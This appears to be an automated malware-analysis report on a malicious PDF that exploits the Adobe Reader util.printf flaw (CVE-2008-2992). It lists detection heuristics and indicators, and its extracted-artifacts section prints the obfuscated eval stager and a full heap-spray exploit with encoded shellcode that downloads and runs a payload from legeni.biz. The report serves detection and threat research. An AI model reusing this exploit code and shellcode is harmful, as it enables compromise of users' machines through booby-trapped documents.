PDF malware analysis — malicious · 0eeb3422db9ed9cc

MALICIOUS

PDF

1.9 KB First seen: 2026-05-03

MD5: bd20b39baadd88ba936c5c0f30b82d34 SHA-1: cd7fa70ab15962153577e91b539d9808a76d65ce SHA-256: 0eeb3422db9ed9ccc9b01c1ea1d739c1b8a955eb9b92b9154de0cd129c2c675a

410 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains obfuscated JavaScript that utilizes the unescape and eval functions, indicative of an exploit. The heuristics confirm the use of CVE-2008-2992 via util.printf, leading to a heap spray and shellcode execution. The embedded JavaScript explicitly contains a URL, http://legeni.biz/var/l.php?i=5, which is likely used to download a secondary payload.

Machine Learning

Nyx PDF Classifier malicious score 1.0000

Heuristics 9

util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992

PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after nested-decoder de-obfuscation)
JavaScript action low 4 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Obfuscated multi-stage PDF JavaScript heap-spray exploit critical CVE related PDF_JS_OBFUSCATED_MULTISTAGE_HEAPSPRAY

PDF JavaScript hidden behind nested stream filters and/or a custom in-JS decoder (rolling-XOR stager) decodes to a heap-spray / ROP chain. The spray is only visible after unwinding those layers, which is why the raw heap-spray rules miss it. This is an obfuscated multi-stage Adobe Reader JavaScript exploit; the dropped Windows payload (often named Win.Trojan.Agent by signature AV) is the second stage, not the delivery mechanism.

PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER

PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.

Matched line in script

/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/var b/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/=/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/this.creator;/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/var a/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/=/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/unescape(/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/b/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/);/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/eval(/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> S …

PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL

Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
ClamAV: Pdf.Exploit.Agent-35930 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Pdf.Exploit.Agent-35930
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://legeni.biz/var/l.php?i=5 Referenced by PDF JavaScript

🗂 Part of campaign: legeni.biz 3 samples

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj111611_000.js`	pdf-javascript-stream	PDF /JS object 111611 at offset 0x663	697 bytes
SHA-256: `f23e505f155bfa9b9f356fa9fddf8d7fcafcc37fc2df3878e575e72c00c819d4`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script First 1,000 lines of the extracted script /fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh/var b/fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh/=/fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh/this.creator;/fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh/var a/fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh/=/fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh/unescape(/fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh/b/fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh/);/fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh/eval(/fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh/unescape(/fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh/this.creator.replace(/z/igm,'%')/fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh/)/fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh/);
`legacy_pdfkit_stage_000.js`	deobfuscated-js	repeated-marker hex decoded JavaScript at offset 0x189	2816 bytes
SHA-256: `4b61dfa60a4cfd9d76d4e871bdb643bf6b7c6e2c1562d41a3638360e6563aff3`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 3 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload = unescape("%u5350%u5251%u5756%u9c55%u00e8%u0000%u5d00%ued83%u310d%u64c0%u4003%u7830%u8b0c%u0c40%u708b%uad1c%u408b%ueb08%u8b09%u3440%u408d%u8b7c%u3c40%u5756%u5ebe%u0001%u0100%ubfee%u014e%u0000%uef01%ud6e8%u0001%u5f00%u895e%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u0263%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%u78c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u8900%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u026e%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%ua6c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u9d00%u5f5d%u5a5e%u5b59%uc358%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u6547%u5474%u6d65%u5070%u7461%u4168%u4c00%u616f%u4c64%u6269%u6172%u7972%u0041%u6547%u5074%u6f72%u4163%u6464%u6572%u7373%u5700%u6e69%u7845%u6365%ubb00%uf289%uf789%uc030%u75ae%u29fd%u89f7%u31f9%ubec0%u003c%u0000%ub503%u021b%u0000%uad66%u8503%u021b%u0000%u708b%u8378%u1cc6%ub503%u021b%u0000%ubd8d%u021f%u0000%u03ad%u1b85%u0002%uab00%u03ad%u1b85%u0002%u5000%uadab%u8503%u021b%u0000%u5eab%udb31%u56ad%u8503%u021b%u0000%uc689%ud789%ufc51%ua6f3%u7459%u5e04%ueb43%u5ee9%ud193%u03e0%u2785%u0002%u3100%u96f6%uad66%ue0c1%u0302%u1f85%u0002%u8900%uadc6%u8503%u021b%u0000%uebc3%u0010%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u8900%u1b85%u0002%u5600%ue857%uff58%uffff%u5e5f%u01ab%u80ce%ubb3e%u0274%uedeb%u55c3%u4c52%u4f4d%u2e4e%u4c44%u004c%u5255%u444c%u776f%u6c6e%u616f%u5464%u466f%u6c69%u4165%u7000%u6664%u7075%u2e64%u7865%u0065%u7263%u7361%u2e68%u6870%u0070%u7468%u7074%u2f3a%u6c2f%u6765%u6e65%u2e69%u6962%u2f7a%u6176%u2f72%u2e6c%u6870%u3f70%u3d69%u0035%u9000");heapblock = nop + payload;bigblock = unescape("%u0A0A%u0A0A");headersize = 20;spray = headersize + heapblock.length;while (bigblock.length < spray){bigblock += bigblock;}fillblock = bigblock.substring(0, spray);block = bigblock.substring(0, bigblock.length - spray);while (block.length + spray < 0x40000){block = block + block + fillblock;}mem = new Array();for (i = 0; i < 1400; i ++ ){mem[i] = block + heapblock;}var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("E000f", num);

Open this report in the interactive analyzer, or submit your own file for analysis.

PDF

Malware Insights

Machine Learning

Heuristics 9

Related samples 8

Extracted artifacts 2